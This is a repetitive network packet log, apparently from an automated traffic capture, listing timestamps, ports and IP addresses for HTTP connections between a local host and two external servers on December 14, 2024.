Dec 14, 2024 14:56:32.212660074 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.213520050 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.213565111 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.213627100 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.213660002 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.214623928 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.214665890 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.214720011 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.214752913 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.215734959 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.215867043 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.215881109 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.215908051 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.216864109 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.216916084 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.216917038 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.216948986 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.218003988 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.218048096 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.218075037 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.218106031 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.219075918 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.219118118 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.219182014 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.219218969 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.220237017 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.220271111 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.220351934 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.220395088 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.221357107 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.221395016 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.221472025 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.221508026 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.222613096 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.222665071 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.222671032 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.222707987 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.223566055 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.223675966 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.223685980 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.223747969 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.224663973 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.224725008 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.224780083 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.224940062 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.225779057 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.225832939 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.225863934 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.226268053 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.226897955 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.226952076 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.227248907 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.227287054 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.227984905 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.228054047 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.228087902 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.228121042 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.229111910 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.229197025 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.229214907 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.229244947 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.230217934 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.230254889 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.230320930 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.230351925 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.231343985 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.231419086 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.231456995 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.232449055 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.232503891 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.232544899 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.232589960 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.233562946 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.233603001 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.233627081 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.233660936 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.234719992 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.234759092 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.234796047 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.234828949 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.248790979 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.248800039 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.248831987 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.248857021 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.249016047 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.249049902 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.249058962 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.249083996 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.250085115 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.250128984 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.250168085 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.250372887 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.251168013 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.251213074 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.251262903 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.251305103 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.251960993 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.252007961 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.252041101 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.252089977 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.253072023 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.253137112 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.253168106 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.253277063 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.254178047 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.254228115 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.254261971 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.254300117 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.256175041 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.256212950 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.256299019 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.256335974 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.256508112 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.256558895 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.256584883 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.256617069 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.257538080 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.257574081 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.257661104 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.257693052 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.258668900 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.258707047 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.258734941 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.258775949 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.259979963 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.260025024 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.260056973 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.260092974 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.260874033 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.260911942 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.260993958 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.261039972 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.261990070 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.262083054 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.262129068 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.263201952 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.263245106 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.263293028 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.264245033 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.264293909 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.264322996 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.264357090 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.265331030 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.265372992 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.265422106 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.266450882 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.266526937 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.266536951 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.266585112 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.267568111 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.267604113 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.267671108 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.267709970 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.268665075 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.268708944 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.268795967 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.268830061 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.269771099 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.269809961 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.269870996 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.269905090 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.270891905 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.270999908 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.271004915 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.271037102 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.272001028 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.272034883 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.272099972 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.272130966 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.273200989 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.273283005 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.273289919 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.273349047 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.299463034 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:32.315908909 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.316082954 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.316353083 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:32.316452026 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.316593885 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.316652060 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:32.317656040 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.317773104 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.317832947 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:32.318830967 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.318988085 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.319051027 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:32.320008993 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.320128918 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.320195913 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:32.321203947 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.321310997 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.321400881 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:32.322384119 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.322509050 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.322567940 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:32.323607922 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.323713064 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.323837042 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:32.324763060 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.324857950 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.324923038 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:32.325953007 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.326030970 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.326092958 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:32.327228069 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.327366114 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.327537060 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:32.328564882 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.328748941 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.328821898 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:32.329474926 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.329580069 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.329896927 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:32.330656052 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.330770969 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.330864906 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:32.331835985 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.331933975 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.332104921 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:32.333002090 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.333120108 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.333205938 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:32.334225893 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.334287882 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.334357023 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:32.335467100 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.335552931 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.335618973 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:32.336555004 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.336668968 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.336746931 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:32.337743998 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.337865114 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.337923050 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:32.338943005 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.339034081 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.339112043 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:32.340107918 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.340214014 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.340275049 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:32.341289997 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.341351032 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.341437101 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:32.342458963 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.342576981 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.342633009 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:32.343692064 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.343848944 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.343924999 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:32.344847918 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.344959021 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.345021009 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:32.346031904 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.346132040 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.346189976 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:32.347219944 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.347352982 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.347413063 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:32.348417044 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.348530054 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.348596096 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:32.349642992 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.349679947 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.349741936 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:32.350807905 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.350891113 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.350991011 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:32.351948977 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.352058887 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.352132082 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:32.353178024 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.353234053 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.353296041 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:32.354302883 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.354391098 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.354665995 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:32.355511904 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.355612040 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.355664015 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:32.356708050 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.356786966 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.356944084 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:32.357871056 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.357965946 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.358033895 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:32.359118938 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.359214067 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.359338999 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:32.360342026 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.360429049 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.360553980 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:32.361665010 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.361790895 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.361934900 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:32.362622976 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.362763882 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.362823009 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:32.363775969 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.363883972 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.363957882 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:32.364955902 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.365057945 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.365164042 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:32.366134882 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.366333961 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.366714954 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:32.367360115 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.367446899 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.367542982 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:32.368540049 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.368664026 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.368850946 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:32.369713068 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.369803905 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.369870901 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:32.370847940 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.371001959 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.371062994 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:32.372061968 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.372176886 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.372239113 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:32.373235941 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.373344898 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.373581886 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:32.374458075 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.374485970 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.374566078 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:32.375596046 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.375699997 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.375771999 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:32.376801968 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.376912117 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.377033949 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:32.377906084 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.395051956 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.395185947 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.395286083 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.395385027 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.395651102 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.395776987 CET	80	49876	31.41.244.11	192.168.2.5
